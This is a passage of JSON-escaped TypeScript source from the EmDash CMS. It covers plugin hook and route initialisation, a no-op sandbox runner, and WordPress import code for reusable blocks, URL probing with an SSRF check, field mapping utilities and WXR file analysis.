this.getExclusiveHookSelection(hookName);\n\t\t\tresult.push({\n\t\t\t\thookName,\n\t\t\t\tproviders,\n\t\t\t\tselectedPluginId: selection,\n\t\t\t});\n\t\t}\n\n\t\treturn result;\n\t}\n\n\t// =========================================================================\n\t// Internal Methods\n\t// =========================================================================\n\n\t/**\n\t * Initialize or reinitialize the hook pipeline and route registry\n\t */\n\tprivate ensureInitialized(): void {\n\t\tif (this.initialized) return;\n\n\t\t// Get all active plugins for hooks\n\t\tconst activePlugins = this.getActivePlugins();\n\n\t\t// Create hook pipeline with active plugins\n\t\tthis.hookPipeline = new HookPipeline(activePlugins, this.factoryOptions);\n\n\t\t// Create route registry\n\t\tthis.routeRegistry = new PluginRouteRegistry(this.factoryOptions);\n\n\t\t// Register routes for active plugins\n\t\tfor (const plugin of activePlugins) {\n\t\t\tthis.routeRegistry.register(plugin);\n\t\t}\n\n\t\tthis.initialized = true;\n\t}\n\n\t/**\n\t * Force reinitialization (useful after plugin state changes)\n\t */\n\treinitialize(): void {\n\t\tthis.initialized = false;\n\t\tthis.ensureInitialized();\n\t}\n\n\t/**\n\t * Delete all cron tasks for a plugin.\n\t * Used during uninstall.\n\t */\n\tprivate async deleteCronTasks(pluginId: string): Promise<void> {\n\t\ttry {\n\t\t\tawait sql`\n\t\t\t\tDELETE FROM _emdash_cron_tasks\n\t\t\t\tWHERE plugin_id = ${pluginId}\n\t\t\t`.execute(this.options.db);\n\t\t} catch {\n\t\t\t// Cron table may not exist yet (pre-migration). Non-fatal.\n\t\t}\n\t}\n}\n\n/**\n * Create a plugin manager\n */\nexport function createPluginManager(options: PluginManagerOptions): PluginManager {\n\treturn new PluginManager(options);\n}\n","/**\n * No-op Sandbox Runner\n *\n * Default implementation that doesn't support sandboxing.\n * Used on platforms without Worker Loader (Node.js, Deno, etc.).\n *\n */\n\nimport type { PluginManifest } from \"../types.js\";\nimport type { SandboxRunner, SandboxedPlugin, SandboxOptions } from \"./types.js\";\n\n/**\n * Error thrown when attempting to use sandboxing on an unsupported platform.\n */\nexport class SandboxNotAvailableError extends Error {\n\tconstructor() {\n\t\tsuper(\n\t\t\t\"Plugin sandboxing is not available on this platform. \" +\n\t\t\t\t\"Sandboxed plugins require Cloudflare Workers with Worker Loader. \" +\n\t\t\t\t\"Use trusted plugins (from config) instead, or deploy to Cloudflare.\",\n\t\t);\n\t\tthis.name = \"SandboxNotAvailableError\";\n\t}\n}\n\n/**\n * No-op sandbox runner for platforms without isolation support.\n *\n * - `isAvailable()` returns false\n * - `load()` throws SandboxNotAvailableError\n * - `terminateAll()` is a no-op\n *\n * This is the default runner when no platform adapter is configured.\n */\nexport class NoopSandboxRunner implements SandboxRunner {\n\t/**\n\t * Always returns false - sandboxing is not available.\n\t */\n\tisAvailable(): boolean {\n\t\treturn false;\n\t}\n\n\t/**\n\t * Always throws - can't load sandboxed plugins without isolation.\n\t */\n\tasync load(\n\t\t// eslint-disable-next-line @typescript-eslint/no-unused-vars\n\t\t_manifest: PluginManifest,\n\t\t// eslint-disable-next-line @typescript-eslint/no-unused-vars\n\t\t_code: string,\n\t): Promise<SandboxedPlugin> {\n\t\tthrow new SandboxNotAvailableError();\n\t}\n\n\t/**\n\t * No-op - sandboxing not available, email callback is irrelevant.\n\t */\n\tsetEmailSend(): void {\n\t\t// Nothing to do\n\t}\n\n\t/**\n\t * No-op - nothing to terminate.\n\t */\n\tasync terminateAll(): Promise<void> {\n\t\t// Nothing to do\n\t}\n}\n\n/**\n * Create a no-op sandbox runner.\n * This is used as the default when no platform adapter is configured.\n */\nexport function createNoopSandboxRunner(_options?: SandboxOptions): SandboxRunner {\n\treturn new NoopSandboxRunner();\n}\n","/**\n * Sections import functions\n *\n * Import reusable blocks from WordPress WXR exports as EmDash sections.\n */\n\nimport type { PortableTextBlock } from \"@emdash-cms/gutenberg-to-portable-text\";\nimport { gutenbergToPortableText } from \"@emdash-cms/gutenberg-to-portable-text\";\nimport type { Kysely } from \"kysely\";\nimport { ulid } from \"ulidx\";\n\nimport type { WxrPost } from \"../cli/wxr/parser.js\";\nimport type { Database } from \"../database/types.js\";\nimport { slugify } from \"../utils/slugify.js\";\n\n/**\n * Result of sections import operation\n */\nexport interface SectionsImportResult {\n\t/** Number of sections created */\n\tsectionsCreated: number;\n\t/** Number of sections skipped (already exist) */\n\tsectionsSkipped: number;\n\t/** Errors encountered during import */\n\terrors: Array<{ title: string; error: string }>;\n}\n\n/**\n * Import reusable blocks (wp_block post type) from WXR as sections\n *\n * @param posts - All posts from WXR (will filter to wp_block)\n * @param db - Database connection\n * @returns Import result with counts\n */\nexport async function importReusableBlocksAsSections(\n\tposts: WxrPost[],\n\tdb: Kysely<Database>,\n): Promise<SectionsImportResult> {\n\tconst result: SectionsImportResult = {\n\t\tsectionsCreated: 0,\n\t\tsectionsSkipped: 0,\n\t\terrors: [],\n\t};\n\n\t// Filter to only wp_block posts\n\tconst reusableBlocks = posts.filter((post) => post.postType === \"wp_block\");\n\n\tif (reusableBlocks.length === 0) {\n\t\treturn result;\n\t}\n\n\tfor (const block of reusableBlocks) {\n\t\ttry {\n\t\t\tconst slug = block.postName || slugify(block.title || `block-${block.id || Date.now()}`);\n\n\t\t\t// Check if section already exists\n\t\t\tconst existing = await db\n\t\t\t\t.selectFrom(\"_emdash_sections\")\n\t\t\t\t.select(\"id\")\n\t\t\t\t.where(\"slug\", \"=\", slug)\n\t\t\t\t.executeTakeFirst();\n\n\t\t\tif (existing) {\n\t\t\t\tresult.sectionsSkipped++;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Convert Gutenberg content to Portable Text\n\t\t\tconst content: PortableTextBlock[] = block.content\n\t\t\t\t? gutenbergToPortableText(block.content)\n\t\t\t\t: [];\n\n\t\t\tconst id = ulid();\n\t\t\tconst now = new Date().toISOString();\n\n\t\t\tawait db\n\t\t\t\t.insertInto(\"_emdash_sections\")\n\t\t\t\t.values({\n\t\t\t\t\tid,\n\t\t\t\t\tslug,\n\t\t\t\t\ttitle: block.title || \"Untitled Block\",\n\t\t\t\t\tdescription: null,\n\t\t\t\t\tkeywords: null,\n\t\t\t\t\tcontent: JSON.stringify(content),\n\t\t\t\t\tpreview_media_id: null,\n\t\t\t\t\tsource: \"import\",\n\t\t\t\t\ttheme_id: null,\n\t\t\t\t\tcreated_at: now,\n\t\t\t\t\tupdated_at: now,\n\t\t\t\t})\n\t\t\t\t.execute();\n\n\t\t\tresult.sectionsCreated++;\n\t\t} catch (error) {\n\t\t\tresult.errors.push({\n\t\t\t\ttitle: block.title || \"Untitled Block\",\n\t\t\t\terror: error instanceof Error ? error.message : String(error),\n\t\t\t});\n\t\t}\n\t}\n\n\treturn result;\n}\n","/**\n * Import source registry\n *\n * Manages available import sources and provides URL probing.\n */\n\nimport { resolveAndValidateExternalUrl } from \"./ssrf.js\";\nimport type { ImportSource, ProbeResult, SourceProbeResult } from \"./types.js\";\n\n// Regex pattern for URL normalization\nconst TRAILING_SLASHES_PATTERN = /\\/+$/;\n\n/** Registered import sources */\nconst sources = new Map<string, ImportSource>();\n\n/**\n * Register an import source\n */\nexport function registerSource(source: ImportSource): void {\n\tsources.set(source.id, source);\n}\n\n/**\n * Get a source by ID\n */\nexport function getSource(id: string): ImportSource | undefined {\n\treturn sources.get(id);\n}\n\n/**\n * Get all registered sources\n */\nexport function getAllSources(): ImportSource[] {\n\treturn [...sources.values()];\n}\n\n/**\n * Get sources that can handle file uploads\n */\nexport function getFileSources(): ImportSource[] {\n\treturn getAllSources().filter((s) => s.requiresFile);\n}\n\n/**\n * Get sources that can probe URLs\n */\nexport function getUrlSources(): ImportSource[] {\n\treturn getAllSources().filter((s) => s.canProbe);\n}\n\n/**\n * Probe a URL against all registered sources\n *\n * Returns probe results sorted by confidence (definite > likely > possible)\n */\nexport async function probeUrl(url: string): Promise<ProbeResult> {\n\t// Normalize URL\n\tlet normalizedUrl = url.trim();\n\tif (!normalizedUrl.startsWith(\"http\")) {\n\t\tnormalizedUrl = `https://${normalizedUrl}`;\n\t}\n\n\t// Remove trailing slash for consistency\n\tnormalizedUrl = normalizedUrl.replace(TRAILING_SLASHES_PATTERN, \"\");\n\n\t// SSRF: reject internal/private network targets. DNS resolution\n\t// catches hostnames that resolve to private addresses.\n\tawait resolveAndValidateExternalUrl(normalizedUrl);\n\n\tconst results: SourceProbeResult[] = [];\n\tconst urlSources = getUrlSources();\n\n\t// Probe all sources in parallel\n\tconst probePromises = urlSources.map(async (source) => {\n\t\ttry {\n\t\t\tconst result = await source.probe?.(normalizedUrl);\n\t\t\tif (result) {\n\t\t\t\treturn result;\n\t\t\t}\n\t\t} catch (error) {\n\t\t\t// Probe failed, skip this source\n\t\t\tconsole.debug(`Probe failed for ${source.id}:`, error);\n\t\t}\n\t\treturn null;\n\t});\n\n\tconst probeResults = await Promise.allSettled(probePromises);\n\n\tfor (const result of probeResults) {\n\t\tif (result.status === \"fulfilled\" && result.value) {\n\t\t\tresults.push(result.value);\n\t\t}\n\t}\n\n\t// Sort by confidence\n\tconst confidenceOrder = { definite: 0, likely: 1, possible: 2 };\n\tresults.sort((a, b) => confidenceOrder[a.confidence] - confidenceOrder[b.confidence]);\n\n\treturn {\n\t\turl: normalizedUrl,\n\t\tisWordPress: results.length > 0,\n\t\tbestMatch: results[0] ?? null,\n\t\tallMatches: results,\n\t};\n}\n\n/**\n * Clear all registered sources (useful for testing)\n */\nexport function clearSources(): void {\n\tsources.clear();\n}\n","/**\n * Shared import utilities\n *\n * Common constants and functions used across all WordPress import sources.\n */\n\nimport mime from \"mime/lite\";\n\nimport type { ImportFieldDef, CollectionSchemaStatus } from \"./types.js\";\n\n// =============================================================================\n// Constants\n// =============================================================================\n\n/** Internal WordPress post types that should be excluded from import */\nexport const INTERNAL_POST_TYPES = [\n\t\"revision\",\n\t\"nav_menu_item\",\n\t\"custom_css\",\n\t\"customize_changeset\",\n\t\"oembed_cache\",\n\t\"wp_global_styles\",\n\t\"wp_navigation\",\n\t\"wp_template\",\n\t\"wp_template_part\",\n\t\"attachment\", // Handled separately as media\n\t\"wp_block\", // Handled separately as sections (reusable blocks)\n];\n\n/** Internal meta key prefixes to filter out */\nexport const INTERNAL_META_PREFIXES = [\"_edit_\", \"_wp_\"];\n\nconst NUMERIC_PATTERN = /^-?\\d+(\\.\\d+)?$/;\nconst TRAILING_SLASHES = /\\/+$/;\nconst WP_JSON_SUFFIX = /\\/wp-json\\/?.*$/;\n\n/** Specific internal meta keys */\nexport const INTERNAL_META_KEYS = [\"_edit_last\", \"_edit_lock\", \"_pingme\", \"_encloseme\"];\n\n/** Base fields required for any WordPress import */\nexport const BASE_REQUIRED_FIELDS: ImportFieldDef[] = [\n\t{ slug: \"title\", label: \"Title\", type: \"string\", required: true, searchable: true },\n\t{ slug: \"content\", label: \"Content\", type: \"portableText\", required: false, searchable: true },\n\t{ slug: \"excerpt\", label: \"Excerpt\", type: \"text\", required: false },\n];\n\n/** Featured image field - only added to post types that have _thumbnail_id */\nexport const FEATURED_IMAGE_FIELD: ImportFieldDef = {\n\tslug: \"featured_image\",\n\tlabel: \"Featured Image\",\n\ttype: \"image\",\n\trequired: false,\n};\n\n// =============================================================================\n// Type Guards\n// =============================================================================\n\n/**\n * Check if a post type is internal/should be excluded\n */\nexport function isInternalPostType(type: string): boolean {\n\treturn INTERNAL_POST_TYPES.includes(type);\n}\n\n/**\n * Check if a meta key is internal/should be filtered out\n */\nexport function isInternalMetaKey(key: string): boolean {\n\t// Check specific keys\n\tif (INTERNAL_META_KEYS.includes(key)) return true;\n\n\t// Check prefixes\n\tfor (const prefix of INTERNAL_META_PREFIXES) {\n\t\tif (key.startsWith(prefix)) return true;\n\t}\n\n\t// Keep these useful ones\n\tif (key === \"_thumbnail_id\") return false;\n\tif (key.startsWith(\"_yoast_\")) return false;\n\tif (key.startsWith(\"_rank_math_\")) return false;\n\n\t// Other underscore prefixes are usually internal\n\tif (key.startsWith(\"_\")) return true;\n\n\treturn false;\n}\n\n// =============================================================================\n// Status Mapping\n// =============================================================================\n\n/** Valid WordPress statuses */\nexport type WpStatus = \"publish\" | \"draft\" | \"pending\" | \"private\" | \"future\";\n\n/**\n * Map WordPress status to normalized status\n */\nexport function mapWpStatus(status: string | undefined): WpStatus {\n\tswitch (status) {\n\t\tcase \"publish\":\n\t\t\treturn \"publish\";\n\t\tcase \"draft\":\n\t\t\treturn \"draft\";\n\t\tcase \"pending\":\n\t\t\treturn \"pending\";\n\t\tcase \"private\":\n\t\t\treturn \"private\";\n\t\tcase \"future\":\n\t\t\treturn \"future\";\n\t\tdefault:\n\t\t\treturn \"draft\";\n\t}\n}\n\n// =============================================================================\n// Collection Mapping\n// =============================================================================\n\n/** Default mappings from WordPress post types to EmDash collections */\nconst POST_TYPE_TO_COLLECTION: Record<string, string> = {\n\tpost: \"posts\",\n\tpage: \"pages\",\n\tattachment: \"media\",\n\tproduct: \"products\",\n\tportfolio: \"portfolio\",\n\ttestimonial: \"testimonials\",\n\tteam: \"team\",\n\tevent: \"events\",\n\tfaq: \"faqs\",\n};\n\n/**\n * Map WordPress post type to EmDash collection name\n */\nexport function mapPostTypeToCollection(postType: string): string {\n\treturn POST_TYPE_TO_COLLECTION[postType] || postType;\n}\n\n// =============================================================================\n// Meta Key Mapping\n// =============================================================================\n\n/**\n * Map WordPress meta key to EmDash field slug\n */\nexport function mapMetaKeyToField(key: string): string {\n\t// SEO plugins\n\tif (key === \"_yoast_wpseo_title\") return \"seo_title\";\n\tif (key === \"_yoast_wpseo_metadesc\") return \"seo_description\";\n\tif (key === \"_rank_math_title\") return \"seo_title\";\n\tif (key === \"_rank_math_description\") return \"seo_description\";\n\tif (key === \"_thumbnail_id\") return \"featured_image\";\n\n\t// Remove leading underscore\n\tif (key.startsWith(\"_\")) return key.slice(1);\n\n\treturn key;\n}\n\n/**\n * Infer field type from meta key name and sample value\n */\nexport function inferMetaType(\n\tkey: string,\n\tvalue: string | undefined,\n): \"string\" | \"number\" | \"boolean\" | \"date\" | \"json\" {\n\tif (key.endsWith(\"_id\") || key === \"_thumbnail_id\") return \"string\";\n\tif (key.endsWith(\"_date\") || key.endsWith(\"_time\")) return \"date\";\n\tif (key.endsWith(\"_count\") || key.endsWith(\"_number\")) return \"number\";\n\n\tif (!value) return \"string\";\n\n\t// Serialized PHP or JSON\n\tif (value.startsWith(\"a:\") || value.startsWith(\"{\") || value.startsWith(\"[\")) return \"json\";\n\n\t// Number\n\tif (NUMERIC_PATTERN.test(value)) return \"number\";\n\n\t// Boolean\n\tif ([\"0\", \"1\", \"true\", \"false\"].includes(value)) return \"boolean\";\n\n\treturn \"string\";\n}\n\n// =============================================================================\n// String Utilities\n// =============================================================================\n\nexport { slugify } from \"../utils/slugify.js\";\n\n/**\n * Normalize URL for API requests\n */\nexport function normalizeUrl(url: string): string {\n\tlet normalized = url.trim();\n\n\t// Add protocol if missing\n\tif (!normalized.startsWith(\"http\")) {\n\t\tnormalized = `https://${normalized}`;\n\t}\n\n\t// Remove trailing slash\n\tnormalized = normalized.replace(TRAILING_SLASHES, \"\");\n\n\t// Remove /wp-json if included\n\tnormalized = normalized.replace(WP_JSON_SUFFIX, \"\");\n\n\treturn normalized;\n}\n\n// =============================================================================\n// File Utilities\n// =============================================================================\n\n/**\n * Extract filename from URL\n */\nexport function getFilenameFromUrl(url: string): string | undefined {\n\ttry {\n\t\tconst parsed = new URL(url);\n\t\tconst segments = parsed.pathname.split(\"/\").filter(Boolean);\n\t\treturn segments.pop();\n\t} catch {\n\t\treturn undefined;\n\t}\n}\n\n/**\n * Guess MIME type from filename\n */\nexport function guessMimeType(filename: string): string | undefined {\n\treturn mime.getType(filename) ?? undefined;\n}\n\n// =============================================================================\n// Attachment Map Builder\n// =============================================================================\n\n/**\n * Build a map of attachment IDs to URLs for resolving featured images\n */\nexport function buildAttachmentMap(\n\tattachments: Array<{ id?: number | string; url?: string }>,\n): Map<string, string> {\n\tconst map = new Map<string, string>();\n\tfor (const att of attachments) {\n\t\tif (att.id && att.url) {\n\t\t\tmap.set(String(att.id), att.url);\n\t\t}\n\t}\n\treturn map;\n}\n\n// =============================================================================\n// Schema Compatibility\n// =============================================================================\n\n/**\n * Check if two field types are compatible for import\n */\nexport function isTypeCompatible(requiredType: string, existingType: string): boolean {\n\tif (requiredType === existingType) return true;\n\n\tconst compatibleTypes: Record<string, string[]> = {\n\t\tstring: [\"string\", \"text\", \"slug\"],\n\t\ttext: [\"string\", \"text\"],\n\t\tportableText: [\"portableText\", \"json\"],\n\t\tnumber: [\"number\", \"integer\"],\n\t\tinteger: [\"number\", \"integer\"],\n\t};\n\n\tconst compatible = compatibleTypes[requiredType];\n\treturn compatible?.includes(existingType) ?? false;\n}\n\n// =============================================================================\n// Byline Import Utilities\n// =============================================================================\n\nimport type { BylineRepository } from \"../database/repositories/byline.js\";\nimport { slugify as slugifyFn } from \"../utils/slugify.js\";\n\nconst MAX_SLUG_COLLISION_ATTEMPTS = 1000;\n\n/**\n * Find or create a unique byline slug, capped at MAX_SLUG_COLLISION_ATTEMPTS.\n */\nexport async function ensureUniqueBylineSlug(\n\tbylineRepo: BylineRepository,\n\tbaseSlug: string,\n): Promise<string> {\n\tlet candidate = baseSlug;\n\tlet suffix = 2;\n\twhile (await bylineRepo.findBySlug(candidate)) {\n\t\tif (suffix > MAX_SLUG_COLLISION_ATTEMPTS) {\n\t\t\tthrow new Error(\n\t\t\t\t`Byline slug collision limit exceeded for base slug \"${baseSlug}\". ` +\n\t\t\t\t\t`Tried ${MAX_SLUG_COLLISION_ATTEMPTS} variants.`,\n\t\t\t);\n\t\t}\n\t\tcandidate = `${baseSlug}-${suffix}`;\n\t\tsuffix++;\n\t}\n\treturn candidate;\n}\n\n/**\n * Resolve (find-or-create) a byline for an imported WordPress author.\n * Caches results in `cache` keyed by `authorLogin:mappedUserId`.\n */\nexport async function resolveImportByline(\n\tauthorLogin: string | undefined,\n\tdisplayName: string | undefined,\n\tmappedUserId: string | undefined,\n\tbylineRepo: BylineRepository,\n\tcache: Map<string, string>,\n): Promise<string | undefined> {\n\tif (!authorLogin) return undefined;\n\tconst cacheKey = `${authorLogin}:${mappedUserId ?? \"\"}`;\n\tconst cached = cache.get(cacheKey);\n\tif (cached) return cached;\n\n\tif (mappedUserId) {\n\t\tconst existingForUser = await bylineRepo.findByUserId(mappedUserId);\n\t\tif (existingForUser) {\n\t\t\tcache.set(cacheKey, existingForUser.id);\n\t\t\treturn existingForUser.id;\n\t\t}\n\t}\n\n\tconst name = displayName || authorLogin;\n\tconst slugBase = slugifyFn(authorLogin);\n\tconst slug = await ensureUniqueBylineSlug(bylineRepo, slugBase || \"author\");\n\tconst created = await bylineRepo.create({\n\t\tslug,\n\t\tdisplayName: name,\n\t\tuserId: mappedUserId ?? null,\n\t\tisGuest: !mappedUserId,\n\t});\n\n\tcache.set(cacheKey, created.id);\n\treturn created.id;\n}\n\n// =============================================================================\n// Schema Compatibility\n// =============================================================================\n\n/**\n * Check schema compatibility between required fields and existing collection\n */\nexport function checkSchemaCompatibility(\n\trequiredFields: ImportFieldDef[],\n\texistingCollection: { slug: string; fields: Map<string, { type: string }> } | undefined,\n): CollectionSchemaStatus {\n\tif (!existingCollection) {\n\t\t// Collection doesn't exist - will need to create it\n\t\tconst fieldStatus: CollectionSchemaStatus[\"fieldStatus\"] = {};\n\t\tfor (const field of requiredFields) {\n\t\t\tfieldStatus[field.slug] = {\n\t\t\t\tstatus: \"missing\",\n\t\t\t\trequiredType: field.type,\n\t\t\t};\n\t\t}\n\t\treturn {\n\t\t\texists: false,\n\t\t\tfieldStatus,\n\t\t\tcanImport: true,\n\t\t};\n\t}\n\n\t// Collection exists - check field compatibility\n\tconst fieldStatus: CollectionSchemaStatus[\"fieldStatus\"] = {};\n\tconst incompatibleFields: string[] = [];\n\n\tfor (const field of requiredFields) {\n\t\tconst existingField = existingCollection.fields.get(field.slug);\n\n\t\tif (!existingField) {\n\t\t\tfieldStatus[field.slug] = {\n\t\t\t\tstatus: \"missing\",\n\t\t\t\trequiredType: field.type,\n\t\t\t};\n\t\t} else if (isTypeCompatible(field.type, existingField.type)) {\n\t\t\tfieldStatus[field.slug] = {\n\t\t\t\tstatus: \"compatible\",\n\t\t\t\texistingType: existingField.type,\n\t\t\t\trequiredType: field.type,\n\t\t\t};\n\t\t} else {\n\t\t\tfieldStatus[field.slug] = {\n\t\t\t\tstatus: \"type_mismatch\",\n\t\t\t\texistingType: existingField.type,\n\t\t\t\trequiredType: field.type,\n\t\t\t};\n\t\t\tincompatibleFields.push(field.slug);\n\t\t}\n\t}\n\n\tconst canImport = incompatibleFields.length === 0;\n\tconst reason = canImport\n\t\t? undefined\n\t\t: `Incompatible field types: ${incompatibleFields.join(\", \")}`;\n\n\treturn {\n\t\texists: true,\n\t\tfieldStatus,\n\t\tcanImport,\n\t\treason,\n\t};\n}\n","/**\n * WXR (WordPress eXtended RSS) import source\n *\n * Handles WordPress export file uploads (.xml).\n * This wraps the existing WXR parsing and analysis logic.\n */\n\nimport { gutenbergToPortableText } from \"@emdash-cms/gutenberg-to-portable-text\";\n\nimport { parseWxrString, type WxrData, type WxrPost } from \"../../cli/wxr/parser.js\";\nimport type {\n\tImportSource,\n\tImportAnalysis,\n\tImportContext,\n\tSourceInput,\n\tFetchOptions,\n\tNormalizedItem,\n\tPostTypeAnalysis,\n\tAttachmentInfo,\n\tNavMenuAnalysis,\n\tTaxonomyAnalysis,\n\tReusableBlockAnalysis,\n} from \"../types.js\";\nimport {\n\tBASE_REQUIRED_FIELDS,\n\tFEATURED_IMAGE_FIELD,\n\tisInternalPostType,\n\tisInternalMetaKey,\n\tmapWpStatus,\n\tmapPostTypeToCollection,\n\tmapMetaKeyToField,\n\tinferMetaType,\n\tslugify,\n\tbuildAttachmentMap,\n\tgetFilenameFromUrl,\n\tguessMimeType,\n\tcheckSchemaCompatibility,\n} from \"../utils.js\";\n\nexport const wxrSource: ImportSource = {\n\tid: \"wxr\",\n\tname: \"WordPress Export File\",\n\tdescription: \"Upload a WordPress export file (.xml)\",\n\ticon: \"upload\",\n\trequiresFile: true,\n\tcanProbe: false,\n\n\tasync analyze(input: SourceInput, context: ImportContext): Promise<ImportAnalysis> {\n\t\tif (input.type !== \"file\") {\n\t\t\tthrow new Error(\"WXR source requires a file input\");\n\t\t}\n\n\t\tconst text = await input.file.text();\n\t\tconst wxr = await parseWxrString(text);\n\n\t\t// Get existing collections for schema compatibility check\n\t\tconst existingCollections = context.getExistingCollections\n\t\t\t? await context.getExistingCollections()\n\t\t\t: new Map();\n\n\t\treturn analyzeWxrData(wxr, existingCollections);\n\t},\n\n\tasync *fetchContent(input: SourceInput, options: FetchOptions): AsyncGenerator<NormalizedItem> {\n\t\tif (input.type !== \"file\") {\n\t\t\tthrow new Error(\"WXR source requires a file input\");\n\t\t}\n\n\t\tconst text = await input.file.text();\n\t\tconst wxr = await parseWxrString(text);\n\n\t\t// Build attachment ID -> URL map for resolving featured images\n\t\tconst attachmentMap = buildAttachmentMap(wxr.attachments);\n\n\t\tlet count = 0;\n\t\tfor (const post of wxr.posts) {\n\t\t\tconst postType = post.postType || \"post\";\n\n\t\t\t// Skip if not in requested post types\n\t\t\tif (!options.postTypes.includes(postType)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Skip internal post types\n\t\t\tif (isInternalPostType(postType)) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Skip drafts if not requested\n\t\t\tif (!options.includeDrafts && post.status !== \"publish\") {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t// Convert to normalized item\n\t\t\tyield wxrPostToNormalizedItem(post, attachmentMap);\n\n\t\t\tcount++;\n\t\t\tif (options.limit && count >= options.limit) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t},\n};\n\n/**\n * Analyze WXR data and return normalized ImportAnalysis\n */\nfunction analyzeWxrData(\n\twxr: WxrData,\n\texistingCollections: Map<string, { slug: string; fields: Map<string, { type: string }> }>,\n): ImportAnalysis {\n\t// Count post types and track which have featured images\n\tconst postTypeCounts = new Map<string, number>();\n\tconst postTypesWithThumbnails = new Set<string>();\n\tconst metaKeys = new Map<string, { count: number; samples: string[]; isInternal: boolean }>();\n\tconst authorPostCounts = new Map<string, number>();\n\n\tfor (const post of wxr.posts) {\n\t\tconst type = post.postType || \"post\";\n\t\tpostTypeCounts.set(type, (postTypeCounts.get(type) || 0) + 1);\n\n\t\t// Count posts per author (by login)\n\t\tif (post.creator) {\n\t\t\tauthorPostCounts.set(post.creator, (authorPostCounts.get(post.creator) || 0) + 1);\n\t\t}\n\n\t\t// Track if this post type has featured images\n\t\tif (post.meta.has(\"_thumbnail_id\")) {\n\t\t\tpostTypesWithThumbnails.add(type);\n\t\t}\n\n\t\t// Analyze meta keys\n\t\tfor (const [key, value] of post.meta) {\n\t\t\tconst existing = metaKeys.get(key);\n\t\t\tif (existing) {\n\t\t\t\texisting.count++;\n\t\t\t\tif (existing.samples.length < 3 && value) {\n\t\t\t\t\texisting.samples.push(value.slice(0, 100));\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tmetaKeys.set(key, {\n\t\t\t\t\tcount: 1,\n\t\t\t\t\tsamples: value ? [value.slice(0, 100)] : [],\n\t\t\t\t\tisInternal: isInternalMetaKey(key),\n\t\t\t\t});\n\t\t\t}\n\t\t}\n\t}\n\n\t// Map meta keys to fields (for custom fields analysis)\n\tconst customFields = [...metaKeys.entries()]\n\t\t.filter(([_, info]) => !info.isInternal)\n\t\t.map(([key, info]) => ({\n\t\t\tkey,\n\t\t\tcount: info.count,\n\t\t\tsamples: info.samples,\n\t\t\tsuggestedField: mapMetaKeyToField(key),\n\t\t\tsuggestedType: inferMetaType(key, info.samples[0]),\n\t\t\tisInternal: info.isInternal,\n\t\t}))\n\t\t.toSorted((a, b) => b.count - a.count);\n\n\t// Build post type analysis with schema compatibility\n\tconst postTypes: PostTypeAnalysis[] = [...postTypeCounts.entries()]\n\t\t.filter(([type]) => !isInternalPostType(type))\n\t\t.map(([name, count]) => {\n\t\t\tconst suggestedCollection = mapPostTypeToCollection(name);\n\t\t\tconst existingCollection = existingCollections.get(suggestedCollection);\n\n\t\t\t// Build required fields - add featured_image only if posts have thumbnails\n\t\t\tconst requiredFields = [...BASE_REQUIRED_FIELDS];\n\t\t\tif (postTypesWithThumbnails.has(name)) {\n\t\t\t\trequiredFields.push(FEATURED_IMAGE_FIELD);\n\t\t\t}\n\n\t\t\tconst schemaStatus = checkSchemaCompatibility(requiredFields, existingCollection);\n\n\t\t\treturn {\n\t\t\t\tname,\n\t\t\t\tcount,\n\t\t\t\tsuggestedCollection,\n\t\t\t\trequiredFields,\n\t\t\t\tschemaStatus,\n\t\t\t};\n\t\t})\n\t\t.toSorted((a, b) => b.count - a.count);\n\n\t// Build attachment info list\n\tconst attachmentItems: AttachmentInfo[] = wxr.attachments.map((att) => {\n\t\tconst filename = att.url ? getFilenameFromUrl(att.url) : undefined;\n\t\tconst mimeType = filename ? guessMimeType(filename) : undefined;\n\t\treturn {\n\t\t\tid: att.id,\n\t\t\ttitle: att.title,\n\t\t\turl: att.url,\n\t\t\tfilename,\n\t\t\tmimeType,\n\t\t};\n\t});\n\n\t// Analyze navigation menus\n\tconst navMenus: NavMenuAnalysis[] = wxr.navMenus.map((menu) => ({\n\t\tname: menu.name,\n\t\tlabel: menu.label,\n\t\titemCount: menu.items.length,\n\t}));\n\n\t// Analyze custom taxonomies (from wp:term elements, excluding category/post_tag/nav_menu)\n\tconst taxonomyMap = new Map<string, { count: number; samples: string[] }>();\n\tfor (const term of wxr.terms) {\n\t\tif (\n\t\t\tterm.taxonomy === \"category\" ||\n\t\t\tterm.taxonomy === \"post_tag\" ||\n\t\t\tterm.taxonomy === \"nav_menu\"\n\t\t) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tconst existing = taxonomyMap.get(term.taxonomy);\n\t\tif (existing) {\n\t\t\texisting.count++;\n\t\t\tif (existing.samples.length < 3) {\n\t\t\t\texisting.samples.push(term.name);\n\t\t\t}\n\t\t} else {\n\t\t\ttaxonomyMap.set(term.taxonomy, {\n\t\t\t\tcount: 1,\n\t\t\t\tsamples: [term.name],\n\t\t\t});\n\t\t}\n\t}\n\n\tconst customTaxonomies: TaxonomyAnalysis[] = Array.from(\n\t\ttaxonomyMap.entries(),\n\t\t([slug, info]) => ({\n\t\t\tslug,\n\t\t\ttermCount: info.count,\n\t\t\tsampleTerms: info.samples,\n\t\t}),\n\t).toSorted((a, b) => b.termCount - a.termCount);\n\n\t// Analyze reusable blocks (wp_block post type)\n\tconst reusableBlocks: ReusableBlockAnalysis[] = wxr.posts\n\t\t.filter((post) => post.postType === \"wp_block\")\n\t\t.map((post) => ({\n\t\t\tid: post.id || 0,\n\t\t\ttitle: post.title || \"Untitled Block\",\n\t\t\tslug: post.postName || slugify(post.title || `block-${post.id || Date.now()}`),\n\t\t}));\n\n\treturn {\n\t\tsourceId: \"wxr\",\n\t\tsite: {\n\t\t\ttitle: wxr.site.title || \"WordPress Site\",\n\t\t\turl: wxr.site.link || \"\",\n\t\t},\n\t\tpostTypes,\n\t\tattachments: {\n\t\t\tcount: wxr.attachments.length,\n\t\t\titems: attachmentItems,\n\t\t},\n\t\tcategories: wxr.categories.length,\n\t\ttags: wxr.tags.length,\n\t\tauthors: wxr.authors.map((a) => ({\n\t\t\tid: a.id,\n\t\t\tlogin: a.login,\n\t\t\temail: a.email,\n\t\t\tdisplayName: a.displayName || a.login || \"Unknown\",\n\t\t\tpostCount: a.login ? authorPostCounts.get(a.login) || 0 : 0,\n\t\t})),\n\t\tnavMenus: 